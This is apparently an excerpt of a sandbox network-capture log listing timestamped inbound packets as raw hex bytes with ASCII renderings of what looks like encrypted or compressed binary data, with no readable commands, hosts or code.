2023-06-07 15:08:49 UTC	3071	IN	Data Raw: e4 f5 e2 2d 7f 63 a3 08 fe f4 1f a9 29 7a 53 9b 86 ed 32 2b 44 51 7a 1f 7d da b4 73 10 37 a6 e0 b1 11 79 1d 27 6d 1a 6a d4 fd e8 1f 62 76 57 ba e2 1c 39 31 ea f0 41 1f d4 31 18 e0 b1 0f b2 ed 58 c0 86 4a a9 16 d6 b1 2d 35 66 52 3d 82 41 81 1a 97 a7 fb 38 04 a4 56 5b 21 72 9e 53 f5 fd 93 fe 16 25 2c 09 30 2e c5 e2 b0 d5 92 a5 3d ce 48 9c d9 89 50 b7 9f e2 10 30 cb 38 dd 01 5b 82 ce 00 39 bc bb 75 ad 29 54 42 10 7b a1 27 38 d3 b5 6f 2b 10 f1 7f 77 12 8e f1 14 bf 35 8a dc de 32 27 e3 56 1b cf 36 00 08 e1 77 bf 5d 65 10 8a f1 84 42 d7 bd 25 f8 3f 46 0c 6d dd 52 3e ab 9e 18 dc 1d d6 6f 08 2c 6f 0d ba 4f 69 ac 8d 94 1a 28 46 4f 5d ab 36 b0 3d b3 b4 04 88 2b b6 30 2c 42 d9 70 66 ad f6 ea 31 8b 1d 70 77 37 7d 2c 24 7f 3f 19 2f 3d 9e 00 b7 1e cf 3f c5 7a 29 97 d0 Data Ascii: -c)zS2+DQz}s7y'mjbvW91A1XJ-5fR=A8V[!rS%,0.=HP08[9u)TB{'8o+w52'V6w]eB%?FmR>o,oOi(FO]6=+0,Bpf1pw7},$?/=?z)
2023-06-07 15:08:49 UTC	3072	IN	Data Raw: 30 70 7a 88 ac 74 68 31 72 7c 3b d2 1c d8 31 48 40 a5 97 e7 1c 1d 89 b3 24 ed b5 84 7f cf e8 b8 fc f5 ed 79 05 62 35 5b ef 6c e3 17 fe e2 d3 e5 c6 9b 01 72 12 c2 50 4f 03 20 be 9a c0 23 80 e9 ad 9c f9 52 70 7f 3d b9 c4 b0 8e 79 a9 90 72 b5 60 07 e4 45 8e 1e 9d fb 7e 41 0b 93 45 9a 76 f0 72 68 c2 c5 33 a1 3d f7 d7 51 dd 58 75 2c e6 1b ed 2a 83 83 bc 76 20 fe bd dd 8e c3 3b db a4 5e bc 72 f8 db 48 3c 27 b7 e2 b4 f4 22 91 00 11 36 c9 89 23 6e e2 66 14 11 3f 35 96 a0 37 03 b7 bb 7c 4f ff dc 62 7a b3 01 6a c4 99 19 79 a2 aa f0 6b 5f 81 3d 00 03 23 ca 8a b0 f4 d0 72 d3 d1 b5 3e e2 9e 28 0b 44 a3 f3 ea 43 a9 87 d5 ae de 6e 86 57 22 26 7b ae 49 ae 5a 17 3f b2 58 10 3b 77 b4 11 fa ea f3 03 02 60 d4 22 b7 36 13 ee 54 15 e2 16 95 66 e7 82 5e 7a 9f 73 f3 1d 4c 79 4b Data Ascii: 0pzth1r\|;1H@$yb5[lrPO #Rp=yr`E~AEvrh3=QXu,*v ;^rH<'"6#nf?57\|Obzjyk_=#r>(DCnW"&{IZ?X;w`"6Tf^zsLyK
2023-06-07 15:08:49 UTC	3074	IN	Data Raw: 5d 10 e0 7a df ab 9a af 19 2c a1 4d 4d 3c a6 53 fc 60 f4 fc cc a0 67 89 4d c8 74 43 ec f9 ad ac ef 79 e5 d2 cf 81 30 40 1e ea 1a 97 ad f2 cf 8a e3 70 26 25 ce d1 03 af 8a e9 7f a7 fa 80 46 dc 8d 79 a6 2b 06 d2 d1 cd 08 03 46 80 ee 07 8d 87 58 90 3c 78 a3 c8 4c 4c 38 63 c2 e3 6d b2 f0 19 f3 89 41 52 86 6b 1d 6d dc eb 05 53 13 10 01 b2 15 b7 e1 cc 20 3c 08 18 ad 34 58 65 c7 d0 1d bf 91 01 01 b8 58 42 90 18 4a 6b da ea 3c ea 13 90 4b 49 d5 15 e0 51 f3 22 d6 9b b4 2f 57 f2 80 15 21 94 f0 18 cb 4c 12 c0 c8 1f 62 df a6 37 fc fa 4a 23 93 03 a0 18 f9 8a 59 a2 30 31 47 3e 20 23 b2 b6 49 03 3b ba 4f da 4f 87 c4 da e2 fc e2 ab 3c b5 1c a7 11 dc 89 29 28 80 9e f6 b4 55 55 31 87 ee 23 e7 06 9d 33 0b 65 f7 e1 c8 fe 84 27 1a 39 9b 9c 9a a9 0c 3a 4f e0 65 db 09 65 1c 83 Data Ascii: ]z,MM<S`gMtCy0@p&%Fy+FX<xLL8cmARkmS <4XeXBJk<KIQ"/W!Lb7J#Y01G> #I;OO<)(UU1#3e'9:Oee
2023-06-07 15:08:49 UTC	3075	IN	Data Raw: 5f 14 52 66 d5 a1 5c a3 1a 0a eb a6 77 04 fe 0d 02 dc 2e 6e 8e 3e 82 f5 af f6 4b 59 78 a9 6c 48 63 95 3f 25 a7 6f e4 30 6f c3 ef a2 44 12 50 83 11 80 f4 47 25 8c 3a b9 8b c1 84 19 da 08 a0 8a ba 73 a2 55 0e ee 76 fb f0 cc 09 0f 2b 3a 1b 1f f8 82 ac e5 f2 b2 52 4e dc 57 6c e8 e9 be 24 2b 32 7e 98 d9 8d d0 40 61 a9 7e 11 30 3b c5 07 13 80 48 d9 cc f1 ab 43 d7 02 a0 f1 28 6e f5 bd 83 ca 41 a8 af f7 b3 e4 7c e8 65 f7 95 b9 6a 2e 9a 2a 74 38 5f 26 2b 9f be d1 3d ab 1f 65 a6 67 c0 e2 ac 93 0d 2e 8a 65 bf 4d 62 c2 0c fc 04 4b bc 62 96 fd 58 7b 8b d5 0e 30 8f ef 98 3d 0f 8c 51 79 07 75 ab 24 3e 10 8f 94 2d a3 4d 8f 0b 74 f8 1a 5d 86 4b 65 24 d0 c8 8a 2d 25 68 1a 43 04 04 34 ed de 38 bb 8f 3e f8 a5 d8 0d 3a d8 c3 d8 3e 16 e5 d9 25 5c 1d d1 cb 5d 9d 45 f8 19 b3 6d Data Ascii: _Rf\w.n>KYxlHc?%o0oDPG%:sUv+:RNWl$+2~@a~0;HC(nA\|ej.*t8_&+=eg.eMbKbX{0=Qyu$>-Mt]Ke$-%hC48>:>%\]Em
2023-06-07 15:08:49 UTC	3077	IN	Data Raw: e2 0a a0 5c 25 05 d3 c5 88 5c 5f 70 06 b1 fa 7a 9c 7d fe 87 ef 23 d8 a0 04 48 48 df a1 25 e0 90 2b 99 12 07 6a 9f d3 eb 3b df 65 3d 48 e7 5a 32 6a ba e6 a4 1e e4 43 5e 2f a4 b6 b3 f6 70 96 e0 96 6b d6 7d 41 c7 70 80 ce db 46 20 8d 02 16 5f ec da a7 4c 6c 67 a2 2b 22 a4 b6 bd 56 c3 a0 11 3c c8 8a d4 67 b4 46 cf 36 1a 48 f9 a4 a0 8d 6b 9e 88 32 76 f4 f2 0a 19 d2 2a 2a a3 30 c6 e2 3a 0f eb 3e 7f 77 12 71 05 e4 74 04 20 cb 17 ca b2 04 f6 dd cf 0f 71 e2 fc 71 83 3f 0c 31 aa 7a 1e 9d 6c ed 19 0b 65 3c e4 33 03 79 e9 1b 92 49 03 7a 3e 8b f7 f8 55 ad b5 2f 1d 8d ad af 4e 1f 43 1b 14 6d de d6 06 b3 b4 f8 ce 60 68 f0 03 da ce 0d 73 d9 c1 00 b6 8d de 20 1f 13 87 d7 db aa 70 e4 d0 03 e9 f0 15 76 cf 14 a1 a1 41 29 03 24 87 94 2f 0b d2 a7 0d 95 cd ba c2 41 64 60 e7 74 Data Ascii: \%\_pz}#HH%+j;e=HZ2jC^/pk}ApF _Llg+"V<gF6Hk2v**0:>wqt qq?1zle<3yIz>U/NCm`hs pvA)$/Ad`t
2023-06-07 15:08:49 UTC	3078	IN	Data Raw: f6 7f 8a df e2 fd 7f 88 9f 6a 2b 0b 8a cb d1 e9 e2 5f 81 3d 74 df 4c 64 a7 51 73 32 6e a7 a1 94 9b 9a 9a 54 e8 c5 b0 6a e7 bc 44 2b 25 2c fe 93 26 58 f0 28 7a 3a 7a 7d eb 1a a0 56 86 62 fa 44 2f 8f 73 78 b2 8a d2 5b b6 37 f8 09 80 14 7b 54 27 39 58 d6 92 49 a0 34 09 64 b1 e0 f7 11 1a 18 22 83 83 de 69 5b c1 bf a9 74 0f 56 5a 58 a1 bf 6f 1f 74 02 31 21 a0 ef 75 07 56 63 38 35 fa 94 b8 a3 92 61 a2 93 5c af 08 ea 84 a0 92 c0 56 f1 ba 03 2a 01 94 b9 c4 3a 75 45 34 0d 9c 6a de e6 9a 68 e9 ff 77 07 45 2e b7 d7 eb bd fd 3d e3 b5 c4 f5 ec 11 44 df 30 39 0b e4 fd 04 ee 44 56 9c 99 35 d7 b4 ad 8a a7 39 d7 6d 8c 64 7a 8a 7d 3f df 2a 7e ca e2 fd cc b6 d1 3c e3 04 0c aa c5 26 ee 5a 8c 98 c7 13 c4 1d 5d e4 96 b5 41 3f 7c 05 5e 15 f1 02 a5 90 7a 03 b5 65 79 e3 95 6d a6 Data Ascii: j+_=tLdQs2nTjD+%,&X(z:z}VbD/sx[7{T'9XI4d"i[tVZXot1!uVc85a\V:uE4jhwE.=D09DV59mdz}?~<&Z]A?\|^zeym
2023-06-07 15:08:50 UTC	3079	IN	Data Raw: a2 f2 f0 17 ab e3 4f c6 5f d2 f4 9b a4 70 0a 8c d2 12 39 bb 29 37 57 5a 32 e9 e3 e8 d4 23 54 16 8f 87 6c 96 f5 4e af 4e 34 ed 07 40 b3 0e 5a d9 c6 8e ed 7c f6 2e 25 07 0d da 38 e4 8d 7e 44 80 fd cf ff 03 f5 ec 45 b9 11 91 ec d5 80 18 2e 1a 9d 90 bb 42 98 3d ea fa d5 5d 57 13 6b 9e 4d cd 16 c9 9b 69 fa 5f 98 8a ea e1 9a 7f f9 9d 6f 6e 32 3a d7 31 8c 5e 0f 5f 52 37 cf 59 f9 fc 48 db 41 02 2d d2 d2 0a fd fa f8 ce b2 a4 71 4e 1a a3 88 9b 18 40 09 22 7b f7 93 98 ab a7 1b 07 43 0f 13 0f 8f 4a 18 72 25 49 c3 7d 36 33 09 7a 0c 67 b2 6a d1 a9 74 4f 8a 19 d0 4f 50 9b 9b 28 e8 07 ad c0 8c 37 fb fd 83 33 ce 5e f0 cd 4c 74 db 30 fa 5f 7d 71 45 35 83 5f d2 62 72 03 ff d7 fa 96 f8 12 72 99 0d 6d 25 69 ab f9 62 8d 09 83 e9 b9 f2 cd 0f 78 55 00 5c d2 fc 09 b9 dd 5c 62 fb Data Ascii: O_p9)7WZ2#TlNN4@Z\|.%8~DE.B=]WkMi_on2:1^_R7YHA-qN@"{CJr%I}63zgjtOOP(73^Lt0_}qE5_brrm%ibxU\\b
2023-06-07 15:08:50 UTC	3081	IN	Data Raw: 99 15 e5 eb b2 57 e2 8f 7e 15 31 a1 7a 45 3d b6 2b e7 d3 d0 c2 3f c3 4b 49 29 64 44 2f 51 83 11 5b b9 d7 96 cf c4 46 25 7c ec 1f 6d 93 09 ef f1 d1 4b 94 8c 16 77 df 50 02 f5 ff 1d f7 73 a3 96 49 e9 05 94 e6 e0 bd b7 25 75 63 25 86 71 50 88 f5 be ae bc 21 4e 76 e9 79 9d 7d b0 e9 be 20 40 a1 27 47 3f 43 03 82 e1 a1 7a 65 f8 96 e4 72 09 51 0b 25 02 9e e4 06 5c 34 eb 47 bd b5 a7 56 42 6a 0e 19 70 3f 57 cb 8f 3d 8d 1f 8b f8 99 3f e2 a5 ef 81 0b f2 e2 f2 49 a7 4a c0 94 5a b6 fe 62 17 a2 b9 2f 50 b1 7b c3 13 91 84 d5 be f3 54 79 a1 58 0c d8 55 65 51 72 c2 bb c6 81 67 54 2e 81 a2 91 03 eb 50 de c0 2a 11 a6 4c d7 74 c5 bd 64 ed 69 1e bb 8f 8f e8 79 17 e5 e3 2b dc 2d 13 16 0c 1d 9e 7a bf b7 25 a2 8b cb 73 c2 44 0e ff aa 36 1c f7 f7 2d 85 03 95 70 af 2f 42 a1 f1 54 Data Ascii: W~1zE=+?KI)dD/Q[F%\|mKwPsI%uc%qP!Nvy} @'G?CzerQ%\4GVBjp?W=?IJZb/P{TyXUeQrgT.P*Ltdiy+-z%sD6-p/BT
2023-06-07 15:08:50 UTC	3081	IN	Data Raw: f2 11 c9 b6 40 b7 a3 f3 61 cb d2 36 8c ce f2 05 23 bb c4 d4 c0 02 7d 00 3a 37 a0 e7 34 6b e4 e4 14 7d 50 d9 17 7e 42 96 90 7b 45 74 74 a9 7a b1 5e 1a 6d 0a 13 48 28 9e 1f 93 f6 b5 7a 20 77 3e ad 26 46 8b 5a 33 46 26 18 d2 a4 fd e0 85 01 6e 95 e9 45 c0 31 07 27 58 92 f7 d0 f9 dd 17 3a f6 e2 28 7f f5 bb a3 cb ff f4 1d 7d 2d a6 27 a8 11 e2 f5 92 73 46 7d 20 2e 20 37 9f 83 72 82 19 6c 2f 3f 96 3f 22 d5 cc a0 13 7e 49 fa 81 2d 2e 2d a4 9e 0e 07 e3 ea 2d 14 3b 7c 25 b6 6f a4 b3 06 9b ce 56 b3 a9 cd 3d 01 72 e5 42 b2 09 8e fd 7d 7f 1f e5 d9 82 73 6a a4 36 7d c3 54 83 69 97 b6 98 e9 44 5a d6 e1 d6 e2 3c 06 6d 5a 56 4f 1f ef c3 68 1d 13 2a 23 20 d8 a3 90 55 06 3b 36 1a cc b5 64 19 da 1c 28 83 5e 82 fa 61 ba 32 55 59 77 6c 34 a7 2c b7 ab 05 c9 4d 29 35 8a a0 b9 20 Data Ascii: @a6#}:74k}P~B{Ettz^mH(z w>&FZ3F&nE1'X:(}-'sF} . 7rl/??"~I-.--;\|%oV=rB}sj6}TiDZ<mZVOh*# U;6d(^a2UYwl4,M)5
2023-06-07 15:08:50 UTC	3097	IN	Data Raw: 33 09 85 ee 29 fb b1 39 97 56 5c 26 10 d9 4f ee cc d3 52 27 6e a1 12 a4 4e 10 64 45 dd cf 45 f8 41 46 a0 db 0d 68 53 b1 3a 5e 35 8c a7 22 b8 72 15 41 13 26 4d 54 70 76 cb 6b b1 5f 81 f1 c8 75 d7 b9 bf ae 81 a6 e2 0f c3 58 e1 bd 2d 82 61 79 aa 79 e9 e5 36 50 85 d2 84 6a bb f1 e3 a1 45 76 29 5b cf 0f 72 e7 46 39 cc ee fb 47 0c 9f 8f d3 ba 6d 12 f3 88 58 87 08 2a 5c e1 40 13 dd eb 6c 1c 57 fb e1 43 d4 bf 90 86 7b 13 4b 96 90 7b 45 78 74 91 9f 80 31 0c 05 2a 48 d8 d7 ec a2 a6 2d f9 ee 4b 17 ab ba ff b4 01 8a 31 cf 82 e4 b7 2e 0d 3a 03 7d 6e 96 69 3d 3e 88 f8 4d 9a 6c f8 44 b1 07 5e 25 d6 23 8b 2d 0b 3f fb 47 e2 0b e5 16 ad 7a 53 9b be 23 2a d5 73 ae 49 9f 01 13 f2 73 16 bc ae 21 5c 06 96 94 d7 8a 47 e3 0f 76 8e 3c 13 ab 37 15 e2 a4 29 cf aa 3c 11 a1 59 98 f3 Data Ascii: 3)9V\&OR'nNdEEAFhS:^5"rA&MTpvk_uX-ayy6PjEv)[rF9GmX\@lWC{K{Ext1H-K1.:}ni=>MlD^%#-?GzS#*sIs!\Gv<7)<Y
2023-06-07 15:08:50 UTC	3113	IN	Data Raw: 94 3e 11 39 d2 b5 b3 5e 2e 97 3a 9a fd aa 89 f5 19 ed 54 35 e4 c8 9b b6 3b 85 16 43 c7 6f 78 2c 40 69 7a 45 9a d0 9a e0 31 dd e9 89 10 cb ef 7b a5 d5 a1 54 3c 34 ce eb ed fe 1e 5c 29 49 5e ca df b2 24 6a 0f d2 3d 6a 66 21 58 a4 e7 34 97 a2 23 56 2a 67 03 2c 2a 23 bb 84 ec 2c 54 4f 9b 74 44 59 e7 f4 39 78 f4 f1 ca 6a 25 2c 86 14 a4 f7 d9 4f 07 f9 f9 6e 56 d9 53 3e a0 7f b2 de e2 fd 4f 17 f8 76 66 e3 49 64 33 79 18 48 dd 41 9d be cd 59 22 60 40 16 72 a7 f4 7f 50 79 35 99 e5 41 1a 96 df bc 42 c0 80 9d 16 52 7d af 3d 6c bd 86 f1 63 45 8d 41 b4 4a e2 f1 60 72 19 3c ba 09 39 2d 41 b6 98 70 9a 1d 31 f0 9a f7 39 b3 50 6d b6 fa 4e 5b 8c d3 b9 30 f3 c3 0e 64 83 f6 f7 3f e6 16 d5 77 45 18 83 34 70 d5 71 c3 6d 33 89 ff 28 70 8b a1 f3 ee 60 8a 70 99 0b 89 43 38 1d 99 Data Ascii: >9^.:T5;Cox,@izE1{T<4\)I^$j=jf!X4#Vg,#,TOtDY9xj%,OnVS>OvfId3yHAY"`@rPy5ABR}=lcEAJ`r<9-Ap19PmN[0d?wE4pqm3(p`pC8
2023-06-07 15:08:50 UTC	3129	IN	Data Raw: c1 b9 2f 50 a5 7c b7 96 3c 8a b6 0d c5 1d 7d fb cb 67 90 ab ee 98 74 ee d7 41 a5 a8 8b ee 38 29 b1 3f 23 50 73 47 4d cf 73 42 bb ac ae 70 88 86 2d ca 12 fb 96 23 28 9d ad 6c 25 f2 cf d1 e9 70 26 2b 52 81 5e 72 2f 2f 42 64 f8 45 7a 54 03 63 b5 e0 1d f7 5a 14 07 0d da 07 90 fe f9 e4 b7 1e fe e8 48 f2 98 74 e3 26 2e 23 3d e3 18 ad e2 89 cb c1 c9 61 22 e6 78 07 33 e0 e8 ec 90 d1 db 11 43 68 6f 79 f0 98 ef f4 e1 9a a4 d7 4e 37 74 90 7a ab 38 61 d5 f0 c2 c9 87 ee bf 57 52 90 4b 49 d5 15 e0 51 fb 28 ce 8f 3f d1 59 fa 36 1e ca 76 7a d7 23 17 19 04 e9 e8 a7 20 ff d7 c4 1b 3e 13 d3 a9 2e c4 8d ce b1 d0 8b 2a 33 7d 39 22 0d 70 7a d1 7f 07 5c ac 5f ed c4 47 93 9b df e8 02 a1 94 aa d2 be f5 83 33 38 03 87 7f cf 6e c7 68 94 ad 82 fa 9d be 12 3a fc e1 e2 4b b1 6b 48 cf Data Ascii: /P\|<}gtA8)?#PsGMsBp-#(l%p&+R^r//BdEzTcZHt&.#=a"x3ChoyN7tz8aWRKIQ(?Y6vz# >.*3}9"pz\_G38nh:KkH
2023-06-07 15:08:50 UTC	3145	IN	Data Raw: c0 e4 e0 40 2d 0f 13 5d 66 94 92 b9 44 69 14 16 11 41 38 f1 0a a9 d0 ee 0e 3c 13 4a d2 63 82 db 2b 68 ec 7f 11 02 97 b2 ce df 2a fd 5f 92 d4 0f 81 a7 87 83 81 25 48 44 25 1b 7c 74 ab 02 3a ae f4 a7 4a a7 3b 54 a3 8f 2b 03 f7 3c 48 a5 ae 9f 95 15 b2 c7 00 93 86 e2 48 0b 8f 5a e6 4a dc 71 d7 1d 44 9d 03 ea 63 9e 8a 5e 73 b7 b7 38 11 91 f3 b1 aa 91 4a e4 71 df 0d 9a b7 7c a3 67 b1 b2 f0 9c 24 22 5c 86 ed b8 7f ac ce 1a f5 d2 7f 57 3a 1e 05 9b 5c 4a 16 c9 fd 93 54 d1 e9 0d 71 c3 c2 d8 0d 9d 5f 54 23 9e 08 e4 db 4a 18 5f 72 c2 e2 0e 7b 03 a3 69 f5 7c f6 4d 24 bd 32 51 76 90 28 ff 21 8f e0 cf ff c0 53 82 75 97 b7 4d 6a b0 6e 4c d3 e5 89 56 30 a6 99 b7 bf 99 d3 35 25 80 12 a1 c6 3b ab 59 69 1d 6d 83 a0 0c 87 9a 98 d0 ee f8 79 75 33 46 4a b6 d7 1d 7d b6 a3 20 15 Data Ascii: @-]fDiA8<Jc+h*_%HD%\|t:J;T+<HHZJqDc^s8Jq\|g$"\W:\JTq_T#J_r{i\|M$2Qv(!SuMjnLV05%;Yimyu3FJ}
2023-06-07 15:08:50 UTC	3161	IN	Data Raw: 50 cd c4 c0 df 09 cc 56 53 72 af ab 3b 6d 69 8d 59 00 24 c9 b0 9e 3c ef 1f bb ff bb 14 c8 58 a3 09 e5 14 59 aa ae 91 9f 17 ab 61 3e eb 3d 1b e3 8f 7c 83 b1 a5 b2 d7 4b 68 63 6e c2 6d 06 1b cf 3f f1 22 98 eb d8 da 4c f9 99 e4 77 32 5d 4b 89 9c 5a 2d 6a 60 48 7d 8b d3 cf 4a 94 0f 06 75 71 83 7e 94 ab b2 2b f3 34 33 f1 16 bd 2f 73 3b 56 dc 99 fb 16 16 be 24 2a ea c5 06 04 e9 fa 1d 9e 56 2e 74 82 e9 d3 71 7a c8 e0 cf 47 69 ce 67 f2 92 a0 7a ee d8 81 ef 20 f7 da 78 48 44 fd a0 6b 16 e7 19 3b 08 20 a0 be a2 b6 30 5f 98 a6 7e 64 26 3b 16 d3 54 ad fc aa 45 03 e7 a9 87 ca ca 59 4d 19 e2 0c fc d7 c5 9c 22 14 57 a7 85 8b 2c 66 18 4f 5d 87 ab f1 b1 be 6d 75 4d ab 50 bc 2d f2 0f d1 28 9d c0 43 50 01 2f dc 5a b4 33 22 6d 67 d6 e1 d1 15 41 53 76 b7 40 5d 29 35 d1 8e 98 Data Ascii: PVSr;miY$<XYa>=\|Khcnm?"Lw2]KZ-j`H}Juq~+43/s;V$*V.tqzGigz xHDk; 0_~d&;TEYM"W,fO]muMP-(CP/Z3"mgASv@])5
2023-06-07 15:08:50 UTC	3177	IN	Data Raw: 07 d2 4f ec f4 53 0e 9d ab 7c ea 2b 23 94 15 2f 82 e8 f7 3e d8 5a d1 92 2f 3d aa 4a ee c3 60 96 53 21 60 54 33 42 3e de 85 78 84 91 83 43 73 c9 76 1d 0c 0b 90 7d 97 a0 cf 14 d9 03 a7 81 73 48 94 8b ed 05 47 3d 1e c0 13 00 97 5e 46 33 f4 bc a8 f6 99 51 70 07 f3 a0 53 15 8a 7a 1a 9d 87 39 00 fc b4 3e 4b 4c d2 52 3e c8 6e b1 7a 21 b3 04 d3 d1 90 86 9a 20 ae 56 72 1f e5 48 76 ce 69 d6 50 e5 34 4c 4b fb 80 26 4e b1 89 8b 26 06 de 2e bb c3 06 86 77 f3 af 14 07 75 7f ea e1 82 5b 3f 25 2d 12 1a cf b4 09 aa 29 68 d4 ec 83 13 d0 7f 02 00 84 a8 4e 9c 3f f6 95 9f 93 bf 0f 7e 26 4e 1f 48 e6 fd eb 79 04 d9 93 5c 6e 71 1f f8 e7 7e 61 a3 3f 9c 86 38 70 35 e9 e9 ee 41 81 82 f4 56 00 22 da 34 5e 22 83 ca f6 e0 a6 41 fa fc b1 76 b8 66 c0 13 d7 77 00 1c 65 b7 6c 5b de 08 62 Data Ascii: OS\|+#/>Z/=J`S!`T3B>xCsv}sHG=^F3QpSz9>KLR>nz! VrHviP4LK&N&.wu[?%-)hN?~&NHy\nq~a?8p5AV"4^"Avfwel[b
2023-06-07 15:08:50 UTC	3193	IN	Data Raw: c5 e5 59 81 6b a8 11 8c b2 46 8f 9d d2 2c ec 28 46 31 8d df d2 f4 bb 2f 84 39 28 2b f1 44 09 ac 64 79 eb 9e f0 67 25 84 1f 4e 6a 4b 8c 94 4e 0a 55 a0 12 bf 99 60 c8 39 fb 50 7e 59 1c fb 81 f8 b2 7b 14 16 4d 6b 7b 41 2c 14 38 67 4d 96 86 c1 cd 8d 10 dd 1a ff 41 05 8f 5a 9a 03 a8 b3 7d 35 96 14 8a e0 15 3a 5f 48 af c1 da 8d 9c e7 58 fe 93 8f ed da d3 09 a4 83 c6 87 89 f4 b2 a6 70 de 02 5b 3c 1c d9 0b 8d c7 7a 34 1c 6f d9 4a f4 9c 79 23 04 73 cd 2f 98 e8 7f 5d 59 3b 85 db 9d 93 b1 e4 8b dc df 6b a1 e2 b2 ef 71 ab ee 55 20 98 d0 5a 4e 82 ec cf a3 bd 71 47 03 f7 2c 53 15 8a 19 f5 14 28 c9 58 7f 4c b6 91 ab b9 50 66 23 a8 20 be 29 4c 59 c4 13 7b 83 ca 1e a7 56 72 cb cf 31 39 12 c6 60 63 d3 00 1d c8 9e f7 eb f0 a4 4f 73 ad 7d 1c d9 4b 04 cb dd e2 8f 08 a0 0d a3 Data Ascii: YkF,(F1/9(+Ddyg%NjKNU`9P~Y{Mk{A,8gMAZ}5:_HXp[<z4oJy#s/]Y;kqU ZNqG,S(XLPf# )LY{Vr19`cOs}K
2023-06-07 15:08:50 UTC	3209	IN	Data Raw: 81 fc 69 0d fd dc 53 6d 0e ed ff 2f 8a 49 1c b6 37 a2 f5 74 ce 0f 65 9c ee 4d b5 65 b5 a3 f3 5a 4b d2 3a fe 68 e3 06 23 83 b3 90 a3 a8 40 f0 21 ba e7 d3 ca a9 34 be 71 b0 9e 61 92 d8 b7 69 15 38 dc 75 75 e3 02 c6 61 5c 49 d2 5a 8f a2 66 31 18 b9 b7 7a a3 b9 3d 85 5f b3 d7 01 39 c5 46 5e 43 82 a7 35 e2 e8 b2 33 f3 67 f0 c1 b9 ff 60 93 f7 59 0e ae 03 59 72 80 e2 2d 71 7b 55 0c 75 1e c6 fe c1 be 27 b3 7a f8 3a d4 73 ae 18 9d c5 8e 39 18 9e a8 c5 bc 5c b5 91 69 28 84 c6 23 df 45 df 1f fb 81 ae 9e 01 a2 6f 76 ed f0 41 a1 42 b4 4c e2 78 6e fc 56 f9 64 1c 9c 3f 35 77 da 5e 2f 3d e3 70 f7 38 6e 92 67 94 0d 81 2e 5c 59 e1 53 33 21 a9 7c ea f6 eb 17 ae fb e8 e8 f7 5d c4 35 8e 77 5a 41 6f 13 6b 03 96 81 d4 ed c3 00 bb 91 6f 05 6c d1 ee 87 00 39 88 b9 b8 4d 7d 60 6b Data Ascii: iSm/I7teMeZK:h#@!4qai8uua\IZf1z=_9F^C53g`YYr-q{Uu'z:s9\i(#EovABLxnVd?5w^/=p8ng.\YS3!\|]5wZAokol9M}`k
2023-06-07 15:08:50 UTC	3225	IN	Data Raw: 92 c6 7e c4 63 e3 9f d2 3f 17 43 85 c8 63 26 56 f9 56 50 0b a2 30 dd 24 38 36 ca 39 fb 3f dd 77 b3 87 fd c4 d3 e0 11 51 14 d8 63 c1 e7 b3 ed 7f 1d 8b 16 e8 52 ce 7b 80 44 1f b2 03 98 24 82 fa 9d 33 09 40 87 3a ef 35 93 2c 1a 9f 49 d1 b2 96 85 a4 4e 69 20 bc 4c a3 94 58 06 79 05 cd 1f 72 be c1 51 45 8e 8d 79 22 91 6c 5b 6f 83 63 b6 74 e1 e9 34 9a 55 89 3c 08 a0 31 f0 9a 77 39 8b be 6d b6 28 23 d0 d9 df bc da e1 77 43 22 83 83 6e f0 0c e2 61 2e a4 b7 82 ed 2e 1b b4 c3 72 97 89 ff fa 0d 9a 1b b4 8d 48 74 31 36 f9 a7 58 6c e2 ed dd ff e8 b2 9e 29 de 52 20 77 02 6e f9 ee 7b b3 6c 01 6a 9d 2e 57 fd e6 bd 19 e5 59 0c 79 db 5b 57 26 f5 73 08 2f 2b d3 96 71 31 82 0f d3 f4 bb ab 67 da 90 01 0c 4a d2 88 4c 7a 98 47 e0 59 95 3d d3 c5 d0 3b 81 9b f9 4e 42 7d 94 94 e8 Data Ascii: ~c?Cc&VVP0$869?wQcR{D$3@:5,INi LXyrQEy"l[oct4U<1w9m(#wC"na..rHt16Xl)R wn{lj.WYy[W&s/+q1gJLzGY=;NB}
2023-06-07 15:08:50 UTC	3241	IN	Data Raw: 8e 2e c6 f8 da 50 20 1d 8c 48 6c 2f 1b f8 f9 f9 bf 90 b4 24 a8 0d 67 8b 38 65 0e 52 8c fe 18 2e 91 86 e7 54 b4 68 cd 43 12 03 b8 23 78 cb be 39 d3 e9 31 d8 aa 67 f7 05 8d e2 19 5c 2f 11 9b 4c c8 94 3c e5 32 82 16 f0 2a 5e 8c 15 ca 0a 88 10 90 92 78 f8 10 da 0a 43 42 4b 3f 5a d4 81 17 43 4c 7e 84 74 46 83 ee e3 46 93 12 58 58 ef 9a 44 e5 64 7b ab 5a 0f cd 39 59 2b fe 25 95 af 74 3c 4c 3e 29 5a 2f 72 ef fd 53 6f 6f 05 97 10 52 93 13 20 61 11 01 4e fd 09 c0 36 1a 5f b0 cf e8 db ad 25 a0 82 71 6d e7 14 e1 51 1f 23 9d 27 df 6e 0d 43 bc 17 bc 0d 3a c4 99 79 b2 7c 5d f2 45 15 27 cd 2c 4b 0f ad d0 20 d3 fc 72 c7 90 86 16 49 ed 4b 28 9f 9c ce 77 78 be c4 84 df 75 4c 14 f0 9a 77 5c 8a 17 75 5e be e6 59 8c 58 f4 e0 a7 13 fa dc 08 45 0e b1 90 a8 13 dd 45 b8 8d e2 fc Data Ascii: .P Hl/$g8eR.ThC#x91g\/L<2*^xCBK?ZCL~tFFXXDd{Z9Y+%t<L>)Z/rSooR aN6_%qmQ#'nC:y\|]E',K rIK(wxuLw\u^YXEE
2023-06-07 15:08:50 UTC	3257	IN	Data Raw: 04 95 7b 98 3e bb fc 11 68 5d 79 9a 55 f9 57 e9 f1 03 a5 d0 e1 8b ff 03 32 7b ff 76 a7 70 43 f5 74 d7 f5 b1 aa fc 38 0e 0a d0 54 11 67 7a 2d 90 84 c4 73 50 51 4e e6 5d 88 ba e3 05 5f 43 c9 22 0e 00 ac fb fb ef f2 48 ba 60 50 ec eb 22 9d 33 eb 42 18 33 54 2f fa d9 25 96 7d 14 68 f7 62 33 c8 19 97 0e ef aa 62 c4 5c a7 2d 28 ef 0b 44 ea 0b 03 73 37 a0 3a 59 14 28 1b cd e2 59 16 8f 4d e6 19 f7 93 d4 91 1a 9a c9 c9 13 6c ce 99 4f 9c 84 65 bb 7a 01 58 28 4b b1 6f 42 0c 73 c4 0a 9d b7 2f 12 c8 37 52 4e 6b 13 18 f8 6f 0f 25 51 73 39 a3 8f 46 c3 9e db 58 b1 fa c6 89 44 aa 06 ea d1 23 55 12 91 85 ac ed 93 bf e3 ea 70 52 48 5f dd bf 1b 0f 43 ad c8 4f 22 06 c3 12 8a 05 0f 45 d6 0d cd 36 b7 33 fb 2e f5 e4 